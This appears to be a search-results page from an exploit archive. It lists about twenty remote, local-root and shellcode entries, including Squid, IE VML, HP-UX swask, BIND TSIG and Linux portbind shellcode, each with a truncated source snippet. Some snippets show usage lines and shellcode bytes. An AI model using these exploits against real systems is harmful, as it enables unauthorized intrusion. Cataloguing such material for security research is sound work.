7594 matches found
Squid 2.4.1 Remote Buffer Overflow Exploit
No description provided by source. / 7350squish - x86/linux squid remote exploit TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to third parties,...
MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP SP1)
No description provided by source. !/usr/bin/perl Microsoft Internet Explorer VML Remote Buffer Overflow Windows XP SP0-SP1 + Windows 2000 SP4 Author: Trirat Puttaraksa Kira trir00t at gmail.com http://sf-freedom.blogspot.com For educational purpose only Note: This exploit is modified from...
HP-UX 11i (swask) Format String Local Root Exploit
Exploit for hp-ux platform in category local exploits ================================================== HP-UX 11i swask Format String Local Root Exploit ================================================== / HP-UX swask format string local root exploit ============================================...
Winmail Mail Server 2.3 Remote Format String Exploit
No description provided by source. / Magic Winmail Server 2.3Build 0402 Remote Format string exploit. Coded by ThreaT. This one take advantage of a format bug in the SMTP protocol not pop3 for execute a malicious command on a vulnerable system usage : mwmxploit Target IP command to execute remote...
MS Internet Explorer WebViewFolderIcon setSlice() Overflow E
No description provided by source. This module is part of the metasploit framework3 svn co http://metasploit.com/svn/framework3/trunk/ require 'msf/core' module Msf class Exploits::Windows::Browser::WebViewSetSlice Msf::Exploit::Remote include Exploit::Remote::HttpServer::Html def initializeinfo ...
HP-UX 11i (swpackage) Stack Overflow Local Root Exploit
Exploit for hp-ux platform in category local exploits ======================================================= HP-UX 11i swpackage Stack Overflow Local Root Exploit ======================================================= / HP-UX swpackage buffer overflow exploit...
WFTPD 3.23 (SIZE) Remote Buffer Overflow Exploit
No description provided by source. / wftpdexp.c WFTPD server 3.23 SIZE 0day remote buffer overflow exploit coded by h07 [email protected] tested on XP SP2 polish, 2000 SP4 polish example.. C:\wftpdexp 0 0 192.168.0.2 h07 open 192.168.0.1 4444 WFTPD server 3.23 SIZE 0day remote buffer overflow exploi...
Melange Chat Server 1.10 Remote Buffer Overflow Exploit
No description provided by source. / Proof of Concept for Melange Chat Server 1.10 a lame remote bof exploit by innerphobia [email protected] 12/24/02 Credits go to: - iDefense Labs for the advisory - blink for discovering the bug - Irian for the shellcode With careful calculation it is possible t...
HP-UX 11i - 'LIBC TZ' Enviroment Variable Privilege Escalation
/ HP-UX libc timezone environment overflow exploit ================================================ HP-UX libc contains an exploitable stack overflow in the handling of "TZ" environment variable. The problem occurs due to insufficient bounds checking in the localtimer and related functions. Any...
HP-UX 11i - 'swmodify' Local Stack Overflow / Local Privilege Escalation
/ HP-UX swmodify buffer overflow exploit ======================================= HP-UX 'swmodify' contains an exploitable stack overflow in the handling of command line arguements. Specifically the problem occurs due to insufficent bounds checking in the "-S" optional arguement. 'swmodify' is...
PHP 3.0.16/4.0.2 Remote Format Overflow Exploit
No description provided by source. / PHP 3.0.16/4.0.2 remote format overflow exploit. Copyright c 2000 Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau [email protected] my regards to sheib and darkx All rights reserved Pascal Boucheraine's paper was enlightening THERE IS NO...
Oops! 1.4.6 (one russi4n proxy-server) Heap Buffer Overflow Exploit
No description provided by source. /--oopz.c---//-------------r-3-m-0-t-3---------------\------------- TARGET : oops-1.4.6 one russi4n proxy-server CLASS : remote 0S : FreeBSD 4.0 - 2 AUTH0R : diman VEND0R : wanna payment for support. I'm not doing his job, yeh? DATE : 7-11-2k N0TE : xploit was...
BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit
No description provided by source. / tsig0wn.c Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau [email protected] The author is not and will not be held responsible for the action of other people using this code. provided for informational purposes only since a greetz...
MS Windows Media Services (nsiislog.dll) Remote Exploit
No description provided by source. include stdio.h include winsock2.h include stdlib.h include errno.h include string.h char hostName = NULL; unsigned char shellcode= "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"...
MS Windows RPC Locator Service Remote Exploit
No description provided by source. / rpcexp.c RPC LOCATOR Exploit Autor: Marcin Wolak mail: [email protected] Last update: 30 march 2003 / / About Compilation: What You need to compile rpcexp.c ? 1. MS Platform SDK August SDK is sufficient. 2. Compilator f.e. MS Visual C++ 6.0. rpcns4.lib is needed...
linux/x86 re-use of /bin/sh string in .rodata shellcode 16 bytes
No description provided by source. / $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $ reusage-linux.c - re-use of "/bin/sh" string in .rodata Copyright c 2003 Marco Ivaldi [email protected] Short local shellcode for /bin/sh execve. It re-uses the "/bin/sh" string stored in the...
linux/x86 setuid/portbind shellcode 96 bytes
No description provided by source. / $Id: portbind-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $ portbind-linux.c - setuid/portbind shellcode for Linux/x86 Copyright c 2003 Marco Ivaldi [email protected] Simple portbind shellcode that bind's a setuid0 shell on port 31337/tcp based on...
linux/x86 portbind (define your own port) 84 bytes
No description provided by source. / Shellcode - portbind 84 bytes Copyright c 2002 Giuseppe Gottardi 'oveRet' [email protected] All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:...
linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes
No description provided by source. / $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $ setuid-linux.c - setuid/execve shellcode for Linux/x86 Copyright c 2004 Marco Ivaldi [email protected] Short fully-functional setuid0 and /bin/sh execve shellcode. / / setuid0 8049380: 6a 17 push...
linux/x86 execve() Diassembly Obfuscation Shellcode 32 bytes
No description provided by source. / execve shellcode with 'fuck up disasm' ability, 32 bytes long by BaCkSpAcE sinisa86atgmaildotcom BitByterz Labs 2006 http://www.bitbyterz.org ; ; shellcode.asm ; fupdisasm: db 0x68 ; opcode for PUSH DW instruction db 0xcd ; crypt+1, opcode for INT instruction ...